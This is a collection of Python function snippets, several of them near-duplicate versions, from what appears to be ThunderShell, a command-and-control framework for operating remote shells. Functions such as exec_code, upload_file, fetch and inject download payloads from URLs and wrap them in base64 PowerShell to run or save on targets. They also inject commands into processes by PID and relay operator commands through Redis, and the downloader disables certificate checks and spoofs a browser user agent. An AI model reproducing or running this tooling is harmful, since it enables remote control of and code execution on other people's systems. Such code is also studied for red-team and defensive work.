def parse_cmd(self, data): cmd = data.split(" ", 1)[0].lower() if not self.guid == "": if cmd == "background": self._prompt = "Main" self.db.remove_active_user(self.config.get("uid"), self.guid) self.guid = "" elif cmd == "exit": UI.error("*** You really want to kill this shell *** (yes/no)") if UI.prompt("Exit").lower() == "yes": self.db.push_cmd(self.guid, "exit", Utils.guid(), self.config.get("username")) self._prompt = "Main" self.guid = "" else: self.db.append_shell_data(self.guid, "[%s] %s - Sending command: \n%s\n\n" % (Utils.timestamp(), self.config.get("username"), data)) Log.log_shell(self.guid, "- Sending command", data, self.config.get("username")) if cmd in self.shell_cmds: callback = self.shell_cmds[cmd] data = callback(data) if not (cmd == "help" or data == ""): self.db.push_cmd(self.guid, data, Utils.guid(),self.config.get("username")) else: # interacting with the main console if cmd in self.cmds: callback = self.cmds[cmd] callback(data) elif not cmd.strip() == "": UI.error("%s is not a valid command" % cmd)
def parse_cmd(self, data): cmd = data.split(" ", 1)[0].lower() # interacting with a shell if not self.guid == "": if cmd == "background": self._prompt = "Main" self.guid = "" elif cmd == "exit": UI.error("*** You really want to kill this shell *** (yes/no)") if UI.prompt("Exit").lower() == "yes": self.db.push_cmd(self.guid, "exit") self._prompt = "Main" self.guid = "" else: Log.log_shell(self.guid, "Sending", data) if self.shell_cmds.has_key(cmd): callback = self.shell_cmds[cmd] data = callback(data) if not (cmd == "help" or data == ""): self.db.push_cmd(self.guid, data) self.get_cmd_output() # interacting with the main console else: if self.cmds.has_key(cmd): callback = self.cmds[cmd] callback(data) else: UI.error("%s is not a valid command" % cmd)
def exec_code(self, data): try: cmd, path = data.split(" ", 1) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("exec.ps1", 12) ps = Utils.update_key(ps, "PAYLOAD", data) UI.success("Payload should be executed shortly on the target") return ps else: UI.error("Cannot fetch the resource") return data
def start_gui(config, cli): prefix = "http://" try: port = int(config.get("gui-port")) except: UI.error("(gui-port) GUI HTTP port need to be a integer.", True) if config.get("https-enabled") == "on": prefix = "https://" UI.warn('Web GUI Started: %s%s:%s' % (prefix, config.get('gui-host'), config.get('gui-port'))) UI.warn('Web GUI Password: %s' % config.get('server-password')) app.init(config, cli) path = "%s/logs/%s" % (os.getcwd(), str(time.strftime("%d-%m-%Y"))) gui_log = "%s/gui.log" % path if not os.path.exists(path): os.makedirs(path) fd = os.open(gui_log, os.O_RDWR | os.O_CREAT) stderr = 2 websocket.run(app, host=config.get("gui-host"), port=port, log_output=os.dup2(fd, stderr))
def read_file(self, data): try: cmd, path = data.split(" ", 2) return "Get-Content %s" % path except: UI.error("Missing arguments") return ""
def upload_file(self, data): try: cmd, path, remote = data.split(" ", 2) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("upload.ps1", 3) ps = Utils.update_key(ps, "PAYLOAD", data) ps = Utils.update_key(ps, "PATH", remote) UI.success("Payload will be saved at %s" % path) return ps else: UI.error("Cannot fetch the resource") return data
def file_exists(path, die=False, show_error=True): if os.path.exists(path): return True if show_error: UI.error("%s not found" % path, die) return False
def read_file(self, data): try: (cmd, path) = data.split(' ', 2) return 'Get-Content %s' % path except: UI.error('Missing arguments') return ''
def flushdb(self, data): force = Utils.get_arg_at(data, 1, 1) if force: self.db.flushdb() UI.error("The whole redis DB was flushed") else: UI.error("Please use the force switch")
def start_httpd(config): ip = config.get('http-host') try: port = int(config.get('http-port')) except: UI.error("(http-port) HTTP port need to be a integer.", True) print '\r\n' UI.success('Starting web server on %s port %d' % (ip, port)) try: server_class = BaseHTTPServer.HTTPServer factory = HTTPDFactory(config) httpd_server = server_class((ip, port), factory) if config.get('https-enabled') == 'on': cert = config.get('https-cert-path') Utils.file_exists(cert, True) httpd_server.socket = ssl.wrap_socket(httpd_server.socket, certfile=cert) UI.success('Web server is using HTTPS') httpd_server.serve_forever() except: UI.error( 'Server was not able to start (Port already in use?)... Aborting', True)
def exec_code(self, data): try: cmd, path = data.split(" ", 1) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) data = base64.b64encode(data) ps = Utils.load_powershell_script("exec.ps1", 16) ps = Utils.update_key(ps, "PAYLOAD", data) UI.success("Payload should be executed shortly on the target") return ps else: UI.error("Cannot fetch the resource") return data
def install_db(self): cursor = self.conn.cursor() cursor.execute( "SELECT 1 FROM information_schema.tables WHERE table_schema = 'thundershell' AND table_name = 'active_session'" ) if cursor.rowcount == 0: UI.error("Creating MySQL tables for first time use") cursor.execute("CREATE DATABASE thundershell") cursor.execute( "CREATE TABLE thundershell.active_session (uid varchar(36), shell varchar(16))" ) cursor.execute( "CREATE TABLE thundershell.shell_cmd (shell varchar(16), guid varchar(36), uid varchar(36), timestamp int, origin varchar(50))" ) cursor.execute( "CREATE TABLE thundershell.shell_response (shell varchar(16), guid varchar(36), uid varchar(36), timestamp int)" ) cursor.execute( "CREATE TABLE thundershell.shell_cmd_data(guid varchar(36), data longtext)" ) self.conn.commit() cursor.close() return self
def view_event(self, data): log_path = Utils.get_arg_at(data, 1, 2) if log_path == "": UI.error("Missing arguments") return log_path += ".log" rows = Utils.get_arg_at(data, 2, 2) if rows == "": rows = 10 else: try: rows = int(rows) except: rows = 10 log_path = Log.get_current_path(log_path) data = [] if Utils.file_exists(log_path): for line in open(log_path, "rb").readlines(): data.append(line) print "\nLast %d lines of log\n-----------------------\n" % rows data = list(reversed(data)) for i in range(0, rows): try: print data[i] except: pass
def start_gui(config): prefix = "http://" try: port = int(config.get("gui-port")) except: UI.error("(gui-port) GUI HTTP port need to be a integer.", True) if config.get("https-enabled") == "on": prefix = "https://" web_config = {} web_config["server"] = "%s%s:%s" % (prefix, config.get("http-host"), config.get("http-port")) web_config["version"] = version app.init(config, web_config) path = "%s/logs/%s" % (os.getcwd(), str(time.strftime("%d-%m-%Y"))) gui_log = "%s/gui.log" % path if not os.path.exists(path): os.makedirs(path) fd = os.open(gui_log, os.O_RDWR | os.O_CREAT) fd2 = 2 websocket.run(app, host=config.get("gui-host"), port=port, log_output=os.dup2(fd, fd2))
def parse_cmd(self, data): cmd = data.split(' ', 1)[0].lower() if not self.guid == '': if cmd == 'background': self._prompt = 'Main' self.db.remove_active_user(self.config.get('uid'), self.guid) self.guid = '' elif cmd == 'exit': UI.error('*** You really want to kill this shell *** (yes/no)') if UI.prompt('Exit').lower() == 'yes': self.db.push_cmd(self.guid, 'exit', Utils.guid(), self.config.get('username')) self._prompt = 'Main' self.guid = '' else: self.db.append_shell_data( self.guid, '[%s] %s Sending: \n%s\n\n' % (Utils.timestamp(), self.config.get('username'), data)) Log.log_shell(self.guid, 'Sending', data, self.config.get('username')) if self.shell_cmds.has_key(cmd): callback = self.shell_cmds[cmd] data = callback(data) if not (cmd == 'help' or data == ''): self.db.push_cmd(self.guid, data, Utils.guid(), self.config.get('username')) else: # interacting with the main console if self.cmds.has_key(cmd): callback = self.cmds[cmd] callback(data) elif not cmd.strip() == '': UI.error('%s is not a valid command' % cmd)
def start_httpd(config): ip = config.get("http-host") try: port = int(config.get("http-port")) except: UI.error("(http-port) HTTP port need to be a integer.", True) UI.warn("Starting web server on %s port %d" % (ip, port)) try: server_class = http.server.HTTPServer if ":" in config.get("http-host"): UI.warn("IPv6 detected") server_class = HTTPServerIPv6 factory = HTTPDFactory(config) httpd_server = server_class((ip, port), factory) if config.get("https-enabled") == "on": cert = config.get("https-cert-path") Utils.file_exists(cert, True) httpd_server.socket = ssl.wrap_socket(httpd_server.socket, certfile=cert) UI.warn("Web server is using HTTPS") httpd_server.serve_forever() except Exception as e: print(sys.exc_info()[1]) UI.error( "Server was not able to start (Port already in use?)... Aborting", True)
def view_event(self, data): log_path = Utils.get_arg_at(data, 1, 2) if log_path == "": UI.error("Missing arguments") return log_path += ".log" rows = Utils.get_arg_at(data, 2, 2) if rows == "": rows = 10 else: try: rows = int(rows) except: rows = 10 log_path = Log.get_current_path(log_path) data = [] if Utils.file_exists(log_path): for line in open(log_path, "rb").readlines(): data.append(line) print("\nLast %d lines of log\n----------------------\n" % rows) data = list(data) for i in range(0, rows): try: print data[i] except: pass
def install_dependencies(): UI.warn("Installing dependencies") if not os.getuid() == 0: UI.error("root privileges required to install the dependencies") os.system( "apt update && apt install mysql-server redis-server mono-dmcs python-tabulate python-mysqldb python-redis -y" ) UI.error("Installation completed please restart ThunderShell", True)
def install_dependencies(): UI.warn("Installing dependencies") if not os.getuid() == 0: UI.error("root privileges required to install the dependencies") os.system( "/usr/bin/apt update && /usr/bin/apt install redis-server mono-mcs python3-tabulate python3-redis python3-flask python3-dev python3-pip python3-gevent -y && /usr/bin/python3 -m pip install flask-socketio" ) UI.error("Installation completed please restart ThunderShell", True)
def check_dependencies(): try: from tabulate import tabulate import redis import MySQLdb except: UI.error("Missing dependencies", False) Utils.install_dependencies()
def install_dependencies(): UI.warn('Installing dependencies') if not os.getuid() == 0: UI.error('root privileges required to install the dependencies') os.system( '/usr/bin/apt update && /usr/bin/apt install redis-server mono-dmcs python-tabulate python-redis python-flask python-dev libxml2-dev libxslt-dev python-pip -y && pip install flask-socketIO' ) UI.error('Installation completed please restart ThunderShell', True)
def check_dependencies(): try: from tabulate import tabulate from flask_socketio import SocketIO import flask import redis except: UI.error('Missing dependencies', False) Utils.install_dependencies()
def os_shell(self, data): cmd = Utils.get_arg_at(data, 1, 1) print("""Executing: %s\n----------------------""" % cmd) try: output = subprocess.check_output(cmd,stderr=subprocess.PIPE, shell=True) except: UI.error("Command failed to execute properly") output = "" print(output)
def init_redis(self): try: self.conn = redis.StrictRedis(host=self.config.get('redis-host'), port=int( self.config.get('redis-port')), db=0) self.set_last_id() except: UI.error('Failed to connect to the redis instance', True)
def check_dependencies(): try: from tabulate import tabulate import redis import MySQLdb except: UI.error( "Missing depencies. Install (python-redis, python-tabulate, python-mysqldb)", True)
def set_alias(self, data): try: (cmd, key, value) = data.split(' ', 2) except: UI.error('Missing arguments') return '' self.alias.set_custom(key, value) UI.success('%s is now set to %s' % (key, value)) return ''
def set_alias(self, data): try: (cmd, key, value) = data.split(" ", 2) except: UI.error("Missing arguments") return "" self.alias.set_custom(key, value) UI.success("%s is now set to %s" % (key, value)) return ""
def init_mysql(self): try: self.conn = MySQLdb.connect(host=self.config.get('mysql-host'), port=int( self.config.get('mysql-port')), user=self.config.get('mysql-user'), passwd=self.config.get('mysql-pass')) self.conn.autocommit(True) except: UI.error('Failed to connect to the MySQL instance', True)
def powerless(self, data): try: cmd, ps_cmd = data.split(" ", 1) except: UI.error("Missing arguments") return "" ps = Utils.load_powershell_script("powerless.ps1", 22) ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd)) return ps
def check_dependencies(): try: from tabulate import tabulate from flask_socketio import SocketIO import flask import redis except Exception as e: print(e) UI.error("Missing dependencies", False) Utils.install_dependencies()
def set_alias(self, data): try: cmd, key, value = data.split(" ", 2) except: UI.error("Missing arguments") return "" self.alias.set_custom(key, value) UI.success("%s is now set to %s" % (key, value)) return ""
def os_shell(self, data): cmd = Utils.get_arg_at(data, 1, 1) print '''Executing: %s\n----------------------''' % cmd try: output = subprocess.check_output(cmd, stderr=subprocess.PIPE, shell=True) except: UI.error('Command failed to execute properly') output = '' print output
def install_dependencies(pyver): UI.warn("Installing dependencies") if not os.getuid() == 0: UI.error("root privileges required to install the dependencies") os.system("/usr/bin/apt update && /usr/bin/apt install redis-server mono-mcs python%s python%s-pip python%s-dev -y" % (pyver, pyver, pyver)) os.system("pip%s install tabulate" % pyver) os.system("pip%s install redis" % pyver) os.system("pip%s install flask" % pyver) os.system("pip%s install flask-socketio" % pyver) os.system("pip%s install pycrypto" % pyver) os.system("pip%s install gevent" % pyver)
def inject(self, data): try: option, pid, cmd = data.split(" ", 2) except: UI.error("Missing arguments") return "" ps = Utils.load_powershell_script("injector.ps1", 1) ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(cmd)) ps = Utils.update_key(ps, "PID", pid) UI.success("Injecting %s" % cmd) UI.success("Into process with PID %s" % pid) return ps
def interact(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = "" for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell) if current_id == id: guid = shell.split(":")[0] break if not guid == "": self.guid = guid self._prompt = self.db.get_data("%s:prompt" % guid) else: UI.error("Invalid session ID")
def kill_shell(self, data): current_id = Utils.get_arg_at(data, 1, 2) guid = "" for shell in self.db.get_all_shell_id(): id = self.db.get_data(shell) if current_id == id: guid = shell.split(":")[0] break if not guid == "": self.db.delete_all_by_guid(guid) print "Deleting shell with ID %s" % current_id else: UI.error("Invalid session ID")
def download_url(path): request = urllib2.Request(path) request.add_header("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0") # Accept invalid cert context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE data = "" try: data = urllib2.urlopen(request, context=context).read() except: UI.error("Failed to fetch %s" % path) return data
def fetch(self, data): try: cmd, path, ps = data.split(" ", 2) except: UI.error("Missing arguments") return "" data = ";" path = self.alias.get_alias(path) if Utils.file_exists(path, False, False): data = Utils.load_file_unsafe(path) else: data = Utils.download_url(path) if not data == ";": UI.success("Fetching %s" % path) UI.success("Executing %s" % ps) return "%s;%s" % (data, ps) else: UI.error("Cannot fetch the resource") return ""
def init_redis(self): try: self.conn = redis.StrictRedis(host=self.config.get("redis-host"), port=int(self.config.get("redis-port")), db=0) self.set_last_id() except: UI.error("Failed to connect to the redis instance", True)
@author: Mr.Un1k0d3r RingZer0 Team @package: launch """ import os import sys from core.config import CONFIG from core.redisquery import RedisQuery from core.httpd import init_httpd_thread from core.cli import Cli from core.ui import UI if __name__ == "__main__": UI.banner() if len(sys.argv) < 2: UI.error("Missing configuration file path\n\nUsage: %s config (optional -nohttpd)" % sys.argv[0], True) config = CONFIG(sys.argv[1]) db = RedisQuery(config) config.set("redis", db) # Launch the HTTPD daemon if not "-nohttpd" in sys.argv: httpd_thread = init_httpd_thread(config) cli = Cli(config) while True: try: cmd = cli.prompt()
def parse_config(self): try: self.configs = json.loads(Utils.load_file(self.path, True)) except: UI.error("%s configuration file is not valid" % self.path, True)